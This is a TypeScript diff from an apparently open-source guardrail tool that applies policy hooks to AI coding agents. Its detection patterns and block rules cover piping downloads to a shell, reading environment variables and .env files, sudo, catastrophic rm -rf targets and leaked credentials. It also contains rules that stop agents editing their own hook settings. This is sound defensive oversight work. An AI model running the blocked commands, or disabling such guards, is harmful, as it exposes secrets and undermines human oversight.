` + + `Wait ~10 seconds, then re-check with \`gh pr view --json mergeable\` before attempting to stop again.`, + ); + } + return allow(`PR #${pr.number} merges cleanly per GitHub.`); +} + +export function requireCiGreenBeforeStop(ctx: PolicyContext): PolicyResult { + if (isPlanMode(ctx)) return allow("Plan mode — no changes made, skipping CI check."); + const cwd = ctx.session?.cwd; + if (!cwd) return allow("No working directory available, skipping CI check."); + + try { + // Check if gh CLI is available + try { + execSync("gh --version", { cwd, encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], timeout: 3000 }); + } catch { + return allow("GitHub CLI (gh) not installed, skipping CI check."); + } + + const branch = getCurrentBranch(cwd); + if (!branch || branch === "HEAD") return allow("Detached HEAD, skipping CI check."); + + // Resolve HEAD up front — the workflow-runs filter below uses it to + // ignore runs targeting prior commits on the same branch (otherwise a + // stale failure on commit X is still reported after the fix on Y lands). + // Third-party checks and commit statuses (queried by SHA below) already + // scope to HEAD via getThirdPartyCheckRuns / getCommitStatuses. + const sha = getHeadSha(cwd); + + // 1. GitHub Actions workflow runs (filtered to current HEAD, deduped by name) + let workflowRuns: CiCheck[] = []; + try { + // --limit 20 (was 5): a busy branch can push the latest run for some + // workflow out of the top-5 window after the SHA filter. 20 covers + // ~4 commits worth of runs for a 5-workflow repo without being slow. + const runsJson = execFileSync( + "gh", + ["run", "list", "--branch", branch, "--limit", "20", "--json", "status,conclusion,name,headSha"], + { cwd, encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], timeout: 15000 }, + ).trim(); + + if (runsJson && runsJson !== "[]") { + const allWorkflowRuns = JSON.parse(runsJson) as Array; + // Filter to runs targeting the current HEAD commit only — not + // historical runs for prior commits on the same branch. When `sha` + // is unavailable (e.g. brand-new repo with no commits) fall back + // to the unfiltered list so the policy still has something to act on. + const headRuns = sha + ? allWorkflowRuns.filter((r) => r.headSha === sha) + : allWorkflowRuns; + // Dedupe by workflow name, keeping the first occurrence (gh run list + // returns newest-first). This handles GitHub's "Re-run all jobs" which + // creates a fresh run record with the same name + headSha — without + // dedupe the older failed record would still trip the deny. + const seen = new Set(); + workflowRuns = headRuns.filter((r) => { + if (seen.has(r.name)) return false; + seen.add(r.name); + return true; + }); + } + } catch { + // fail-open for workflow runs; continue to check third-party checks + } + + // 2. Third-party check runs (CodeRabbit, SonarCloud, Codecov, etc.) + let thirdPartyChecks: CiCheck[] = []; + let commitStatuses: CiCheck[] = []; + if (sha) { + thirdPartyChecks = getThirdPartyCheckRuns(cwd, sha); + commitStatuses = getCommitStatuses(cwd, sha); + } + + // 3. Merge all checks + const allChecks = [...workflowRuns, ...thirdPartyChecks, ...commitStatuses]; + + if (allChecks.length === 0) return allow(`No CI runs found for branch "${branch}".`); + + const failing = allChecks.filter( + (r) => + r.status === "completed" && + r.conclusion !== "success" && + r.conclusion !== "skipped" && + r.conclusion !== "cancelled" && + r.conclusion !== "neutral", + ); + if (failing.length > 0) { + const names = failing.map((r) => `"${r.name}"`).join(", "); + return deny( + `CI checks are failing on branch "${branch}": ${names}. Fix the failing checks now.`, + ); + } + + const pending = allChecks.filter( + (r) => r.status === "in_progress" || r.status === "queued" || r.status === "waiting", + ); + if (pending.length > 0) { + const names = pending.map((r) => `"${r.name}"`).join(", "); + return deny( + `CI checks are still running on branch "${branch}": ${names}. Wait for all checks to complete, then verify they pass.`, + ); + } + + return allow(`All CI checks passed on branch "${branch}".`); + } catch { + return allow("Could not check CI status, skipping."); + } +} + +/** + * The `user-context` tier, as data. See PAYLOAD_ONLY_POLICIES for the + * counterpart and why both lists exist. + */ +export const HOST_ACCESS_POLICIES: ReadonlyArray<{ + name: string; + fn: (ctx: PolicyContext) => PolicyResult | Promise; +}> = [ + { name: "block-work-on-main", fn: blockWorkOnMain }, + { name: "warn-repeated-tool-calls", fn: warnRepeatedToolCalls }, + { name: "require-commit-before-stop", fn: requireCommitBeforeStop }, + { name: "require-push-before-stop", fn: requirePushBeforeStop }, + { name: "require-pr-before-stop", fn: requirePrBeforeStop }, + { name: "require-no-conflicts-before-stop", fn: requireNoConflictsBeforeStop }, + { name: "require-ci-green-before-stop", fn: requireCiGreenBeforeStop }, +]; diff --git a/src/hooks/builtin/host-context.ts b/src/hooks/builtin/host-context.ts new file mode 100644 index 00000000..ded05945 --- /dev/null +++ b/src/hooks/builtin/host-context.ts @@ -0,0 +1,86 @@ +/** + * Host context for sealed-tier policies — Stage 0 / P2. + * + * Three sealed-eligible policies need to know where the user's home directory + * and project root are: `block-read-outside-cwd` (whitelists `~/.claude/` and + * friends, and prefers `$CLAUDE_PROJECT_DIR` over the drifting shell cwd), + * `block-rm-rf` (expands `~` / `$HOME` before deciding whether a delete target + * is catastrophic), and `block-secrets-write` indirectly through the same path + * helpers. + * + * Reading them from `os.homedir()` and `process.env` inside the policy has two + * problems. The obvious one is the import graph: `node:os` disqualifies the + * whole module from the sealed tier. The load-bearing one is that the daemon is + * resident and answers for sessions it did not start, so its own ambient + * `homedir()` and `$CLAUDE_PROJECT_DIR` belong to whatever environment it was + * launched from — a sealed policy reading them would whitelist the wrong tree, + * and would do it for every session on the machine at once. + * + * So both values arrive as request data on `SessionMetadata`, and this module + * resolves them with an injectable fallback for the legacy in-process path. + * + * **Direction of trust matters here.** `isAgentInternalPath` and + * `block-read-outside-cwd` both *widen* the allow set, so a caller that could + * assert `home: "/"` would make every path "agent internal" and relax a sealed + * verdict. That is why, in the daemon, `home` is derived from + * `getpwuid_r(peer_uid)` and a client-supplied `home` is a protocol error — + * see 03-risks-and-amendments.md amendment #3. This module is only the reader; + * it does not and cannot enforce that, which is exactly why the enforcement + * lives at the socket boundary instead. + */ +import type { PolicyContext } from "../policy-types"; + +export interface HostContextFallback { + /** The invoking user's home directory, or `""` when unknown. */ + home(): string; + /** The stable project root (`$CLAUDE_PROJECT_DIR`), or `undefined`. */ + projectDir(): string | undefined; +} + +/** + * Deny-by-default: with no fallback installed, `home` resolves to `""`, which + * makes `isAgentInternalPath` match nothing and `expandHomePrefix` a no-op. + * Both directions fail *closed* (nothing extra is whitelisted), which is the + * right posture for a context that could not be established. + */ +const inertFallback: HostContextFallback = { + home: () => "", + projectDir: () => undefined, +}; + +let fallback: HostContextFallback = inertFallback; + +/** Install the host-side fallback. Called by `builtin-policies.ts` at load. */ +export function setHostContextFallback(next: HostContextFallback): void { + fallback = next; +} + +/** Restore the inert default. Exposed for test isolation. */ +export function resetHostContextFallback(): void { + fallback = inertFallback; +} + +/** + * The requesting user's home directory. + * + * Request data wins; the fallback answers only when the envelope did not carry + * one, which is the legacy in-process path. + */ +export function resolveHome(ctx: PolicyContext): string { + const fromRequest = ctx.session?.home; + if (typeof fromRequest === "string" && fromRequest !== "") return fromRequest; + return fallback.home(); +} + +/** + * The stable project root, or `undefined`. + * + * Note the falsy — not nullish — check. The legacy behaviour this preserves is + * `process.env.CLAUDE_PROJECT_DIR || ctx.session?.cwd`, where an env var set to + * the empty string falls through to cwd. Using `??` here would change that. + */ +export function resolveProjectDir(ctx: PolicyContext): string | undefined { + const fromRequest = ctx.session?.projectDir; + if (fromRequest) return fromRequest; + return fallback.projectDir() || undefined; +} diff --git a/src/hooks/builtin/payload-only.ts b/src/hooks/builtin/payload-only.ts new file mode 100644 index 00000000..9d528928 --- /dev/null +++ b/src/hooks/builtin/payload-only.ts @@ -0,0 +1,1080 @@ +/** + * The sealed-eligible half of the builtin policy set — 32 of 39. + * + * Every policy here decides from the hook payload alone. None spawns a + * process, opens a file, or reads ambient host identity, which is what makes + * them eligible for the `sealed` execution tier: a warm interpreter context + * with no bindings registered, reset per evaluation. + * + * **The import list is a security boundary, not a style choice.** Execution + * tiers are derived from a policy's *resolved import graph*, so one + * `node:child_process` anywhere reachable from this file silently demotes all + * 32 policies to `user-context` and empties the sealed tier — an architecture + * that looks implemented and delivers no verdict integrity. + * `__tests__/hooks/builtin-tier-split.test.ts` walks the real graph and fails + * if that happens. + * + * `node:path` is the one permitted host-module import: `resolve` and `join` + * are pure string arithmetic with no syscall surface, and the sealed worker + * supplies them. Home-directory and project-root lookups, which are *not* + * pure, arrive as request data through `./host-context`. + * + * The seven policies that genuinely need the host live in `./host-access.ts`. + * The registry that names, describes, and orders all 39 stays in + * `../builtin-policies.ts`, which is still the only module anything imports. + */ +import { resolve, join } from "node:path"; +import type { PolicyContext, PolicyResult } from "../policy-types"; +import { allow, deny, instruct } from "../policy-helpers"; +import { + getCommand, + getFilePath, + matchesAllowedPattern, + parseArgvTokens, + shellSegments, +} from "./shared"; +import { resolveHome, resolveProjectDir } from "./host-context"; +import { policyWarn } from "./warn"; + +/** + * Whether `resolved` lives under an agent CLI's home directory + * (~/.claude/, ~/.codex/, ~/.copilot/, ~/.cursor/, ~/.pi/, ~/.gemini/, or any + * of OpenCode's three home-side dirs). Used to whitelist agent self-reads of + * their own config and transcripts. + * + * OpenCode splits its data across three locations (verified live on + * opencode v1.14.33 via `opencode debug paths`): + * • ~/.config/opencode/ — config + plugins + * • ~/.local/share/opencode/ — sessions, snapshots, opencode.db (SQLite) + * • ~/.opencode/ — legacy fallback path + * + * `home` is passed in rather than read from `os.homedir()` (Stage 0 / P2). + * The daemon is resident and answers for sessions it did not start, so its own + * ambient homedir is not reliably the request's — and because this predicate + * *widens* the allow set, a wrong or forged home would whitelist the wrong + * tree. See `./host-context`. + */ +function isAgentInternalPath(resolved: string, home: string): boolean { + // Normalize backslashes to forward slashes so the same `startsWith` check + // works on Windows. `resolve()` returns forward slashes on POSIX but + // backslashes on Windows; `join(home, ...)` follows the same OS + // convention. Comparing both sides under a single forward-slash form + // avoids per-OS branching. + const normResolved = resolved.replaceAll("\\", "/"); + for (const dir of [".claude", ".codex", ".copilot", ".cursor", ".opencode", ".pi", ".gemini"]) { + const root = join(home, dir).replaceAll("\\", "/"); + if (normResolved === root || normResolved.startsWith(root + "/")) return true; + } + for (const sub of [join(".config", "opencode"), join(".local", "share", "opencode")]) { + const root = join(home, sub).replaceAll("\\", "/"); + if (normResolved === root || normResolved.startsWith(root + "/")) return true; + } + return false; +} + +/** + * Whether `resolved` is a settings/hooks file for an agent CLI: + * • Claude Code: `.claude/settings.json`, `.claude/settings.local.json`, etc. + * • Codex: `.codex/hooks.json` + * • Copilot CLI: `.copilot/hooks/*.json`, `.github/hooks/*.json` + * • Cursor Agent: `.cursor/hooks.json` + * • OpenCode: `.opencode/opencode.{json,jsonc}`, + * `.opencode/plugins/*.{mjs,js,ts}`, + * `~/.config/opencode/{opencode.json,opencode.jsonc,config.json}`, + * `~/.config/opencode/plugins/*.{mjs,js,ts}` + * • Pi: `.pi/settings.json` (project) and `.pi/agent/settings.json` + * (user); also the Pi-managed extension dir + * `.pi/extensions/` / `.pi/agent/extensions/`. + * • Antigravity CLI (agy): reuses `~/.gemini/` — `~/.gemini/settings.json` + * and the customization-root hook config + * `~/.gemini/config/hooks.json`. + * These must NEVER be edited by the agent itself — that would let it disable + * its own protections. + */ +function isAgentSettingsFile(resolved: string): boolean { + if (/[\\/]\.claude[\\/]settings(?:\.[^/\\]+)?\.json$/.test(resolved)) return true; + if (/[\\/]\.codex[\\/]hooks\.json$/.test(resolved)) return true; + if (/[\\/]\.copilot[\\/]hooks[\\/][^/\\]+\.json$/.test(resolved)) return true; + if (/[\\/]\.github[\\/]hooks[\\/][^/\\]+\.json$/.test(resolved)) return true; + if (/[\\/]\.cursor[\\/]hooks\.json$/.test(resolved)) return true; + // OpenCode: project config + plugins, user config + plugins, legacy config. + if (/[\\/]\.opencode[\\/]opencode\.jsonc?$/.test(resolved)) return true; + if (/[\\/]\.opencode[\\/]plugins[\\/][^/\\]+\.(?:mjs|js|ts)$/.test(resolved)) return true; + if (/[\\/]\.config[\\/]opencode[\\/]opencode\.jsonc?$/.test(resolved)) return true; + if (/[\\/]\.config[\\/]opencode[\\/]config\.json$/.test(resolved)) return true; + if (/[\\/]\.config[\\/]opencode[\\/]plugins[\\/][^/\\]+\.(?:mjs|js|ts)$/.test(resolved)) return true; + // Pi: settings + extensions dirs (project and user-scope variants). + if (/[\\/]\.pi[\\/](?:agent[\\/])?settings\.json$/.test(resolved)) return true; + if (/[\\/]\.pi[\\/](?:agent[\\/])?extensions[\\/]/.test(resolved)) return true; + // Antigravity (agy) reuses ~/.gemini/: settings.json + the customization-root hooks.json. + if (/[\\/]\.gemini[\\/]settings\.json$/.test(resolved)) return true; + if (/[\\/]\.gemini[\\/]config[\\/]hooks\.json$/.test(resolved)) return true; + return false; +} + +// Back-compat aliases — kept for any caller that imports the old names. +const isClaudeInternalPath = isAgentInternalPath; +const isClaudeSettingsFile = isAgentSettingsFile; + +// -- Pre-compiled regex constants (hoisted to avoid per-call allocation) -- + +// sanitizeJwt +const JWT_RE = /eyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}/; + +// sanitizeApiKeys +const API_KEY_PATTERNS: Array<[RegExp, string]> = [ + [/sk-ant-[A-Za-z0-9\-_]{20,}/, "Anthropic API key"], + [/sk-proj-[A-Za-z0-9\-_]{20,}/, "OpenAI project API key"], + [/sk-[A-Za-z0-9]{20,}/, "OpenAI API key"], + [/ghp_[A-Za-z0-9]{36}/, "GitHub personal access token"], + [/github_pat_[A-Za-z0-9_]{82}/, "GitHub fine-grained token"], + [/AKIA[A-Z0-9]{16}/, "AWS access key ID"], + [/sk_live_[A-Za-z0-9]{24,}/, "Stripe live secret key"], + [/sk_test_[A-Za-z0-9]{24,}/, "Stripe test secret key"], + [/AIza[0-9A-Za-z\-_]{35}/, "Google API key"], +]; + +// sanitizeConnectionStrings +const CONNECTION_STRING_RE = /(?:postgresql|postgres|mysql|mongodb(?:\+srv)?|redis|amqps?|smtps?):\/\/[^@\s]+@/; + +// sanitizePrivateKeyContent +const PRIVATE_KEY_RE = /-----BEGIN (?:[A-Z]+ )?PRIVATE KEY-----/; + +// sanitizeBearerTokens +const BEARER_TOKEN_RE = /Authorization:\s*Bearer\s+[A-Za-z0-9\-._~+/]{20,}/i; + +// warnDestructiveSql / warnSchemaAlteration +const SQL_TOOL_RE = /\b(?:psql|mysql|sqlite3|pgcli|clickhouse-client)\b/; +const DESTRUCTIVE_SQL_RE = /\b(?:DROP\s+(?:TABLE|DATABASE|SCHEMA)|TRUNCATE\b)/i; +const DELETE_NO_WHERE_RE = /\bDELETE\s+FROM\b/i; +const SQL_WHERE_RE = /\bWHERE\b/i; +const SCHEMA_ALTER_RE = /\bALTER\s+TABLE\b[\s\S]*\b(?:DROP\s+COLUMN|ADD\s+COLUMN|RENAME\s+(?:COLUMN|TO)|MODIFY\s+COLUMN)\b/i; + +// warnPackagePublish +const PUBLISH_CMD_RE = /(?:npm\s+publish|bun\s+publish|pnpm\s+publish|yarn\s+npm\s+publish|twine\s+upload|poetry\s+publish|cargo\s+publish|gem\s+push)\b/; + +// protectEnvVars +const ENV_PRINTENV_RE = /(?:^|\s|;|&&|\|\|)(?:env|printenv)(?:\s|$|;|&&|\|)/; +const ECHO_ENV_RE = /echo\s+.*\$\{?[A-Za-z_]/; +const EXPORT_RE = /(?:^|\s|;|&&|\|\|)export\s+\w+/; +const PS_ENV_VAR_RE = /\$env:[A-Za-z_]/i; +const PS_CHILDITEM_ENV_RE = /(?:Get-ChildItem|dir|gci|ls)\s+Env:/i; +const DOTNET_GETENV_RE = /\[Environment\]::GetEnvironment/i; +const CMD_ECHO_ENV_RE = /echo\s+%[A-Za-z_]/i; + +// blockEnvFiles +const ENV_FILE_PATH_RE = /(?:^|[\\/])\.env(?:\.|$)/; +const ENV_CMD_RE = /\.env(?:\b|\s|$|\.)/; + +// blockSudo +const SUDO_RE = /(?:^|;|&&|\|\|)\s*sudo\s/; +const PS_ELEVATION_RE = /Start-Process\s+.*-Verb\s+RunAs/i; +const RUNAS_RE = /(?:^|;|&&|\|\|)\s*runas\s/i; + +// blockCurlPipeSh +const CURL_PIPE_SH_RE = /(?:curl|wget)\s.*\|\s*(?:sh|bash|zsh|dash|ksh|csh|tcsh|fish|ash)\b/; +const PS_WEB_PIPE_RE = /(?:Invoke-WebRequest|iwr|Invoke-RestMethod|irm)\s+.*\|\s*(?:Invoke-Expression|iex)/i; + +// blockForcePush +const SHORT_FLAG_BUNDLE_RE = /^-[a-zA-Z]*f[a-zA-Z]*$/; +const SAFE_FORCE_PREFIXES = ["--force-with-lease", "--force-if-includes"] as const; + +// blockSecretsWrite +const SECRET_FILE_RE = /\.(?:pem|key)$/; +const SECRET_FILE_ID_RSA_RE = /id_rsa/; +const SECRET_FILE_CREDENTIALS_RE = /credentials/; + +// blockFailproofaiCommands +const FAILPROOFAI_CLI_RE = /(?:^|;|&&|\|\||\|)\s*failproofai(?:\s|$)/; +const FAILPROOFAI_UNINSTALL_RE = /(?:npm\s+(?:uninstall|remove|un|r)\s.*failproofai|bun\s+remove\s.*failproofai|yarn\s+global\s+remove\s+failproofai|pnpm\s+(?:remove|uninstall|un)\s.*failproofai)/; + +// warnGitAmend +const GIT_AMEND_RE = /\bgit\s+commit\b.*--amend\b/; + +// warnGitStashDrop +const GIT_STASH_DROP_RE = /\bgit\s+stash\s+(?:drop|clear)\b/; + +// warnAllFilesStaged +const GIT_ADD_ALL_RE = /\bgit\s+add\s+(?:-A\b|--all\b|\.(?:\s|$|;|&&|\|\|))/; + +// warnGlobalPackageInstall +const NPM_GLOBAL_RE = /\bnpm\s+(?:install|i)\b(?=.*(?:\s-g\b|--global\b))/; +const YARN_GLOBAL_RE = /\byarn\s+global\s+add\b/; +const PNPM_GLOBAL_RE = /\bpnpm\s+(?:add|install|i)\b(?=.*(?:\s-g\b|--global\b))/; +const BUN_GLOBAL_RE = /\bbun\s+(?:install|add)\b(?=.*(?:\s-g\b|--global\b))/; +const CARGO_INSTALL_RE = /\bcargo\s+install\b/; +const PIP_SYSTEM_RE = /\bpip(?:3)?\s+install\b(?=.*(?:--user\b|--break-system-packages\b))/; + +// preferPackageManager — maps manager name → detection patterns +const PKG_MANAGER_DETECTORS: Record = { + pip: [/\bpip\b/, /\bpip3\b/, /\bpython3?\s+-m\s+pip\b/], + npm: [/\bnpm\b/, /\bnpx\b/], + yarn: [/\byarn\b/], + pnpm: [/\bpnpm\b/, /\bpnpx\b/], + bun: [/\bbun\b/, /\bbunx\b/], + uv: [/\buv\b/], + poetry: [/\bpoetry\b/], + pipenv: [/\bpipenv\b/], + conda: [/\bconda\b/], + cargo: [/\bcargo\b/], +}; + +// warnBackgroundProcess +const NOHUP_RE = /\bnohup\s+\S/; +const SCREEN_DETACH_RE = /\bscreen\s+-[A-Za-z]*d[A-Za-z]*\b/; +const TMUX_DETACH_RE = /\btmux\s+(?:new-session|new)\b[^|&;]*-d\b/; +const DISOWN_RE = /\bdisown\b/; +const BACKGROUND_AMPERSAND_RE = /(?); + for (const { regex, label } of additional) { + try { + if (new RegExp(regex).test(output)) { + return { + decision: "deny", + reason: `${label} detected in tool output`, + message: `[REDACTED: ${label} removed by failproofai]`, + }; + } + } catch { + policyWarn(`additionalPatterns: invalid regex "${regex}", skipping`); + } + } + + return allow(); +} + +export function sanitizeConnectionStrings(ctx: PolicyContext): PolicyResult { + // PostToolUse: scrub database connection strings with embedded credentials + const output = JSON.stringify(ctx.payload); + if (CONNECTION_STRING_RE.test(output)) { + return { + decision: "deny", + reason: "Database connection string with credentials detected in tool output", + message: "[REDACTED: connection string removed by failproofai]", + }; + } + return allow(); +} + +export function sanitizePrivateKeyContent(ctx: PolicyContext): PolicyResult { + // PostToolUse: scrub PEM private key blocks from tool output + const output = JSON.stringify(ctx.payload); + if (PRIVATE_KEY_RE.test(output)) { + return { + decision: "deny", + reason: "Private key content detected in tool output", + message: "[REDACTED: private key content removed by failproofai]", + }; + } + return allow(); +} + +export function sanitizeBearerTokens(ctx: PolicyContext): PolicyResult { + // PostToolUse: scrub Authorization: Bearer tokens from tool output + const output = JSON.stringify(ctx.payload); + if (BEARER_TOKEN_RE.test(output)) { + return { + decision: "deny", + reason: "Bearer token detected in tool output", + message: "[REDACTED: Bearer token removed by failproofai]", + }; + } + return allow(); +} + +export function warnDestructiveSql(ctx: PolicyContext): PolicyResult { + if (ctx.toolName !== "Bash") return allow(); + const cmd = getCommand(ctx); + if (!SQL_TOOL_RE.test(cmd)) return allow(); + + // DROP or TRUNCATE always warns + if (DESTRUCTIVE_SQL_RE.test(cmd)) { + return instruct( + "STOP: This command contains destructive SQL (DROP/TRUNCATE/DELETE). Confirm with the user before executing.", + ); + } + + // DELETE FROM without WHERE warns + if (DELETE_NO_WHERE_RE.test(cmd) && !SQL_WHERE_RE.test(cmd)) { + return instruct( + "STOP: This command contains destructive SQL (DROP/TRUNCATE/DELETE). Confirm with the user before executing.", + ); + } + + return allow(); +} + +export function warnLargeFileWrite(ctx: PolicyContext): PolicyResult { + if (ctx.toolName !== "Write") return allow(); + const content = ctx.toolInput?.content as string | undefined; + if (typeof content !== "string") return allow(); + const thresholdKb = ((ctx.params?.thresholdKb ?? 1024) as number); + const thresholdBytes = thresholdKb * 1024; + if (content.length > thresholdBytes) { + return instruct( + `STOP: You are writing a file larger than ${thresholdKb}KB (${Math.round(content.length / 1024)}KB). This is unusually large. Confirm this is intentional before proceeding.`, + ); + } + return allow(); +} + +export function warnPackagePublish(ctx: PolicyContext): PolicyResult { + if (ctx.toolName !== "Bash") return allow(); + const cmd = getCommand(ctx); + if (PUBLISH_CMD_RE.test(cmd)) { + return instruct( + "STOP: This command publishes a package to a public registry. Confirm with the user that this is intentional.", + ); + } + return allow(); +} + +export function protectEnvVars(ctx: PolicyContext): PolicyResult { + if (ctx.toolName !== "Bash") return allow(); + const cmd = getCommand(ctx); + // Block: env, printenv, echo $VAR, export VAR= + if (ENV_PRINTENV_RE.test(cmd)) { + return deny("Command reads environment variables"); + } + if (ECHO_ENV_RE.test(cmd)) { + return deny("Command echoes environment variable"); + } + if (EXPORT_RE.test(cmd)) { + return deny("Command exports environment variable"); + } + // PowerShell: $env:VAR + if (PS_ENV_VAR_RE.test(cmd)) { + return deny("Command reads environment variable via PowerShell"); + } + // PowerShell: Get-ChildItem Env: / dir env: / gci env: / ls env: + if (PS_CHILDITEM_ENV_RE.test(cmd)) { + return deny("Command reads environment variables via PowerShell"); + } + // PowerShell: [Environment]::GetEnvironmentVariable + if (DOTNET_GETENV_RE.test(cmd)) { + return deny("Command reads environment variable via .NET"); + } + // cmd: echo %VAR% + if (CMD_ECHO_ENV_RE.test(cmd)) { + return deny("Command echoes environment variable via cmd"); + } + return allow(); +} + +export function blockEnvFiles(ctx: PolicyContext): PolicyResult { + const cmd = getCommand(ctx); + const filePath = getFilePath(ctx); + + // Check file_path for Read/Write tools (match both / and \ path separators) + if (filePath && ENV_FILE_PATH_RE.test(filePath)) { + return deny("Access to .env file blocked"); + } + // Check Bash commands referencing .env files + if (ctx.toolName === "Bash" && ENV_CMD_RE.test(cmd)) { + return deny("Command references .env file"); + } + return allow(); +} + +export function blockSudo(ctx: PolicyContext): PolicyResult { + if (ctx.toolName !== "Bash") return allow(); + const cmd = getCommand(ctx).trimStart(); + if (SUDO_RE.test(cmd) || cmd.startsWith("sudo ")) { + // Check allowPatterns — match against parsed tokens, not raw string + const allowPatterns = ((ctx.params?.allowPatterns ?? []) as string[]); + if (allowPatterns.some((p) => matchesAllowedPattern(cmd, p))) return allow(); + return deny("sudo commands are blocked"); + } + // PowerShell: Start-Process -Verb RunAs (elevation) + if (PS_ELEVATION_RE.test(cmd)) { + return deny("Elevated process launch is blocked"); + } + // Windows: runas command + if (RUNAS_RE.test(cmd)) { + return deny("runas elevation is blocked"); + } + return allow(); +} + +export function blockCurlPipeSh(ctx: PolicyContext): PolicyResult { + if (ctx.toolName !== "Bash") return allow(); + const cmd = getCommand(ctx); + if (CURL_PIPE_SH_RE.test(cmd)) { + return deny("Piping downloads to shell is blocked"); + } + // PowerShell: iwr | iex, irm | iex, Invoke-WebRequest | Invoke-Expression + if (PS_WEB_PIPE_RE.test(cmd)) { + return deny("Piping downloads to Invoke-Expression is blocked"); + } + return allow(); +} + +function extractGitPushArgs(cmd: string): string[] { + return cmd + .split(/&&|\|\||[|;\n]/) + .map((s) => s.trim()) + .filter((s) => /^git\s+push\s/.test(s)) + .map((s) => s.replace(/^git\s+push\s+/, "")); +} + +export function blockPushMaster(ctx: PolicyContext): PolicyResult { + if (ctx.toolName !== "Bash") return allow(); + const protectedBranches = ((ctx.params?.protectedBranches ?? ["main", "master"]) as string[]); + if (protectedBranches.length === 0) return allow(); + const args = extractGitPushArgs(getCommand(ctx)); + const branchPattern = new RegExp(`\\b(?:${protectedBranches.map((b) => b.replace(/[.*+?^${}()|[\]\\]/g, "\\$&")).join("|")})\\b`); + if (args.some((a) => branchPattern.test(a))) { + return deny(`Pushing to ${protectedBranches.join("/")} is blocked`); + } + return allow(); +} + +// -- block-rm-rf: deletion-target resolution -- + +/** + * Leading shell forms that resolve to a home directory: `~`, `~user`, `$HOME`, + * `${HOME}`. The lookahead keeps `$HOMEBREW_PREFIX` (a variable this policy + * cannot resolve) from being mistaken for `$HOME`. + */ +const HOME_PREFIX_RE = /^(?:~[A-Za-z0-9_.-]*|\$HOME|\$\{HOME\})(?=$|\/)/; + +/** `rm`, `/bin/rm`, `/usr/bin/rm`, … — the command word of a delete. */ +const RM_CMD_RE = /^(?:\/\S*\/)?rm$/; + +/** `find` expression that deletes: `-delete`, `-exec rm`, `-execdir rm`, `-ok rm`. */ +// Same shape as RM_CMD_RE: `find` is just as dangerous when invoked by +// absolute path (`/usr/bin/find / -delete`), so match both forms. +const FIND_CMD_RE = /^(?:\/\S*\/)?find$/; +const FIND_EXEC_RE = /^-(?:exec|execdir|ok|okdir)$/; + +/** find's global options, which precede its path operands (`find -L / -delete`). */ +const FIND_GLOBAL_OPT_RE = /^-(?:[HLP]|D|O\d*)$/; + +/** First token of find's expression — everything before it is a path operand. */ +const FIND_EXPR_START_RE = /^(?:-|\\?[(!])/; + +/** + * Roots that exist to hold throwaway data. A delete of the root itself is still + * catastrophic (`rm -rf /tmp` wipes every process's scratch space); a delete of + * something *inside* one is ordinary work. + */ +const SCRATCH_ROOTS = ["/tmp", "/var/tmp"]; + +/** + * How many path segments below a root (`/` or a home directory) a delete has to + * reach before it stops being catastrophic. `/etc` (1) and `/home/chetan` (2) + * are system- and user-level directories; `/home/chetan/project` (3) is a + * specific thing the caller meant to delete. + */ +const CATASTROPHIC_DEPTH = 2; + +/** + * Expand the leading `~` / `$HOME` / `${HOME}` of a path to the real home + * directory. `home` is threaded in rather than read from `os.homedir()` + * (Stage 0 / P2) — see `./host-context`. + */ +function expandHomePrefix(path: string, home: string): string { + const m = path.match(/^(?:~|\$HOME|\$\{HOME\})(?=$|\/)/); + return m ? home + path.slice(m[0].length) : path; +} + +/** Drop a trailing `/*` glob and any trailing slashes: `/tmp/foo/*` → `/tmp/foo`. */ +function stripTrailingGlob(path: string): string { + return path.replace(/\/\*$/, "").replace(/\/+$/, ""); +} + +/** + * Would deleting this target be catastrophic? + * + * Rather than pattern-matching the raw command text, this resolves the token as + * far as the shell would: quotes are stripped, `~` / `$HOME` are recognised as a + * root in their own right, and the remaining path segments are counted. A target + * within {@link CATASTROPHIC_DEPTH} segments of either root (`/` or home) takes + * out the machine or the user's data. + * + * Fails safe: a token whose head is an expansion this policy cannot evaluate — + * command substitution (`$(…)`, backticks) or any variable other than `$HOME` — + * could expand to `/`, so it counts as catastrophic. Relative targets are not + * flagged: they resolve under the working directory, not under a root. + */ +function isCatastrophicTarget(token: string): boolean { + const raw = token.replace(/^['"]|['"]$/g, ""); + if (raw === "") return false; + + const homePrefix = raw.match(HOME_PREFIX_RE); + // Unresolvable head: `$(echo /)`, `` `pwd` ``, `$TARGET_DIR`, … + if (!homePrefix && /^[$`]/.test(raw)) return true; + + const belowRoot = homePrefix ? raw.slice(homePrefix[0].length) : raw.startsWith("/") ? raw : null; + if (belowRoot === null) return false; + + const segments = stripTrailingGlob(belowRoot).split("/").filter(Boolean); + if (!homePrefix && SCRATCH_ROOTS.some((r) => `/${segments.join("/")}`.startsWith(`${r}/`))) return false; + return segments.length <= CATASTROPHIC_DEPTH; +} + +/** + * The paths a single command segment would recursively delete, or `null` when the + * segment is not a recursive delete at all. + * + * Understands the two shapes that reach every file under a target: `rm` with both + * `-r` and `-f` (in any spelling or order), and `find`, which recurses by design, + * paired with `-delete` or an `-exec rm`. + */ +function recursiveDeletionTargets(seg: string): string[] | null { + const tokens = parseArgvTokens(seg); + + const findIdx = tokens.findIndex((t) => FIND_CMD_RE.test(t)); + if (findIdx >= 0) { + const expr = tokens.slice(findIdx + 1); + const execIdx = expr.findIndex((t) => FIND_EXEC_RE.test(t)); + const deletes = expr.includes("-delete") || (execIdx >= 0 && RM_CMD_RE.test(expr[execIdx + 1] ?? "")); + if (deletes) { + // find's path operands sit between the leading global options and the + // first expression token: `find -L /home/chetan -name '*.log' -delete` + let start = 0; + while (start < expr.length && FIND_GLOBAL_OPT_RE.test(expr[start])) { + start += expr[start] === "-D" ? 2 : 1; + } + const rest = expr.slice(start); + const end = rest.findIndex((t) => FIND_EXPR_START_RE.test(t)); + return end < 0 ? rest : rest.slice(0, end); + } + } + + const rmIdx = tokens.findIndex((t) => RM_CMD_RE.test(t)); + if (rmIdx >= 0) { + const args = tokens.slice(rmIdx + 1); + const shortFlags = args.filter((t) => /^-[^-]/.test(t)).join(""); + const longFlags = args.filter((t) => /^--/.test(t)); + const recursive = /r/i.test(shortFlags) || longFlags.some((f) => /^--recursive$/i.test(f)); + const force = /f/.test(shortFlags) || longFlags.some((f) => /^--force$/i.test(f)); + if (recursive && force) return args.filter((t) => !t.startsWith("-")); + } + + return null; +} + +/** + * Check whether all recursive-delete targets in a command are under an allowlisted path. + 